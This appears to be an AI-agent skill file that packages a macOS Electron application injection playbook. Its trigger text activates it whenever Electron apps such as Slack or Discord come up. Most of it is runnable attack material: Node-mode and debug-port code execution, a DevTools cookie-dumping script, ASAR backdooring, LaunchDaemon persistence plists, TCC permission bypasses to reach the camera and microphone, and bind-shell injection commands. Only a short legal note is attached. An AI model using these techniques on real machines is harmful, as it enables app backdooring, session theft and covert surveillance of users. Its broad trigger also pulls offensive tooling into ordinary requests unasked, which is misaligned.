Hacktricks-skills macos-electron-injection
macOS Electron application security testing and privilege escalation. Use this skill whenever the user mentions Electron apps, macOS security testing, privilege escalation on macOS, Electron fuses, code injection in desktop apps, or any Electron-based application like Slack, Discord, VS Code, Signal, etc. This skill covers checking Electron fuses, various RCE techniques (ELECTRON_RUN_AS_NODE, NODE_OPTIONS, --inspect), persistence via plist, TCC bypass methods, and CVE exploitation. Trigger this for any macOS Electron security assessment, pentest, or privilege escalation scenario.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection/SKILL.MDmacOS Electron Applications Injection
A comprehensive guide for security testing Electron applications on macOS, covering fuse analysis, code injection techniques, persistence mechanisms, and privilege escalation.
Quick Start
# Check if an Electron app has vulnerable fuses npx @electron/fuses read --app /Applications/Slack.app # List all installed Electron apps find /Applications -name "*.app" -exec grep -l "Electron" {} \; 2>/dev/null
Understanding Electron Fuses
Electron Fuses are security flags that prevent code injection. Check them first before attempting any technique.
Critical Fuses
| Fuse | When Disabled | When Enabled |
|---|---|---|
| Allows injection | Blocks Node.js mode |
| Allows , | Blocks debug flags |
| ASAR files not validated | ASAR integrity checked |
| Can load from folder | Only loads |
| Allows | Blocks NODE_OPTIONS |
Check Fuses
# Using official tool npx @electron/fuses read --app /Applications/Slack.app # Manual check - find the fuse string in binary grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" /Applications/Slack.app/
The fuse configuration is stored in the Electron binary, typically at:
application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
Injection Techniques
Technique 1: ELECTRON_RUN_AS_NODE
Requires:
RunAsNode fuse disabled
# Launch as Node.js process ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord # Then in the Node.js console: require('child_process').execSync('/bin/bash -c "whoami"')
Persistence via LaunchDaemon:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.electron.inject</string> <key>ProgramArguments</key> <array> <string>/Applications/Slack.app/Contents/MacOS/Slack</string> <string>-e</string> <string>require('child_process').execSync('YOUR_PAYLOAD')</string> </array> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>RunAtLoad</key> <true/> </dict> </plist>
Technique 2: NODE_OPTIONS
Requires:
EnableNodeOptionsEnvironmentVariable disabled OR ELECTRON_RUN_AS_NODE=1 set
# Create payload file cat > /tmp/payload.js << 'EOF' require('child_process').execSync('YOUR_COMMAND'); EOF # Execute with NODE_OPTIONS NODE_OPTIONS="--require /tmp/payload.js" \ ELECTRON_RUN_AS_NODE=1 \ /Applications/Discord.app/Contents/MacOS/Discord
Persistence via LaunchDaemon:
<dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> <key>NODE_OPTIONS</key> <string>--require /tmp/payload.js</string> </dict> <key>Label</key> <string>com.electron.nodeoptions</string> <key>RunAtLoad</key> <true/> </dict>
Technique 3: Debug Port Injection
Requires:
EnableNodeCliInspectArguments disabled OR ELECTRON_RUN_AS_NODE=1 set
# Launch with debug port /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 # Or use remote debugging port /Applications/Signal.app/Contents/MacOS/Signal --remote-debugging-port=9229
Connect via Chrome DevTools:
- Open
chrome://inspect - Connect to
127.0.0.1:9229 - Execute JavaScript in console:
require('child_process').execSync('YOUR_COMMAND')
Cookie Dumping Script:
import websocket ws = websocket.WebSocket() ws.connect("ws://localhost:9229/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True) ws.send('{"id": 1, "method": "Network.getAllCookies"}') print(ws.recv())
Persistence via LaunchDaemon:
<dict> <key>ProgramArguments</key> <array> <string>/Applications/Slack.app/Contents/MacOS/Slack</string> <string>--inspect</string> </array> <key>Label</key> <string>com.electron.inspect</string> <key>RunAtLoad</key> <true/> </dict>
Technique 4: ASAR File Modification
Requires:
OnlyLoadAppFromAsar disabled OR EnableEmbeddedAsarIntegrityValidation disabled
# Extract ASAR file npx asar extract /Applications/Slack.app/Contents/Resources/app.asar /tmp/app-decomp # Modify files in /tmp/app-decomp # Add malicious code to main.js or preload.js # Repack ASAR npx asar pack /tmp/app-decomp /tmp/app-new.asar # Replace (requires TCC permissions or copy to /tmp) cp /tmp/app-new.asar /Applications/Slack.app/Contents/Resources/app.asar
TCC Bypass Method:
# Copy app to /tmp to bypass TCC check cp -r /Applications/Slack.app /tmp/Slack.app # Rename Contents folder temporarily mv /tmp/Slack.app/Contents /tmp/Slack.app/NotCon # Modify ASAR file cd /tmp/Slack.app/NotCon/Resources npx asar extract app.asar app-decomp # ... modify files ... npx asar pack app-decomp app.asar # Restore folder name mv /tmp/Slack.app/NotCon /tmp/Slack.app/Contents # Execute from /tmp /tmp/Slack.app/Contents/MacOS/Slack
TCC Bypass Techniques
Method 1: Older Version Abuse
The TCC daemon doesn't check the executed version. Download an older version of the app and inject code - it will still have TCC privileges.
# Download older version from archive # Inject code into older version # Execute - inherits TCC permissions from original
Method 2: Child Process Inheritance
Child processes run under the same sandbox profile and inherit TCC permissions:
// From within Electron process const { spawn } = require('child_process'); spawn('/path/to/binary', [], { stdio: 'inherit' }); // This binary inherits camera/microphone permissions
Known Vulnerabilities
CVE-2023-44402 - ASAR Integrity Bypass
Affected: Electron ≤22.3.23, various 23-27 pre-releases
Exploit: Create a directory named
app.asar instead of archive:
# In Contents/Resources/ mkdir app.asar # Place malicious JS files inside # App will load directory instead of validated archive
Patched in: 22.3.24, 24.8.3, 25.8.1, 26.2.1, 27.0.0-alpha.7
CVE-2024-23738 to CVE-2024-23743 - RunAsNode Cluster
Many Electron apps ship with
RunAsNode and EnableNodeCliInspectArguments fuses enabled, allowing local attackers to:
- Relaunch with
ELECTRON_RUN_AS_NODE=1 - Use
for code injection--inspect-brk - Inherit all sandbox and TCC permissions
Mitigation: Disable these fuses in production builds.
Automated Tools
electroniz3r
# List all Electron apps ./electroniz3r list-apps # Check if app is vulnerable ./electroniz3r verify "/Applications/Discord.app" # Inject predefined payload ./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell # Custom payload ./electroniz3r inject "/Applications/Discord.app" --script /path/to/payload.js
Loki
Backdoors Electron applications by replacing JavaScript files with C2 files.
Workflow Checklist
-
Identify Electron Apps
find /Applications -name "*.app" -type d -
Check Fuses
npx @electron/fuses read --app /Applications/Target.app -
Select Technique Based on Fuses
disabled → UseRunAsNodeELECTRON_RUN_AS_NODE
disabled → UseEnableNodeCliInspectArguments--inspect
disabled → Modify ASAROnlyLoadAppFromAsar- All fuses enabled → Try TCC bypass or older version
-
Execute Injection
- Use appropriate technique from above
- Verify code execution
-
Establish Persistence (if needed)
- Create LaunchDaemon plist
- Place in
or~/Library/LaunchDaemons//Library/LaunchDaemons/
-
Leverage TCC Permissions
- Access camera, microphone, contacts, etc.
- Run binaries that inherit permissions
Common Electron Applications
| App | Bundle ID | Path |
|---|---|---|
| Slack | com.tinyspeck.slackmacgap | /Applications/Slack.app |
| Discord | com.hnc.Discord | /Applications/Discord.app |
| VS Code | com.microsoft.VSCode | /Applications/Visual Studio Code.app |
| Signal | org.whispersystems.signal-desktop | /Applications/Signal.app |
| Docker | com.electron.dockerdesktop | /Applications/Docker.app |
| GitHub Desktop | com.github.GitHubClient | /Applications/GitHub Desktop.app |
| Postman | com.postmanlabs.mac | /Applications/Postman.app |
Safety Notes
- Legal Use Only: These techniques are for authorized security testing only
- TCC Permissions: Modifying apps in
requires/Applications
permissionkTCCServiceSystemPolicyAppBundles - Code Signing: Modified apps may fail code signature validation
- Backup: Always backup original files before modification
- Testing: Test in isolated environments before production use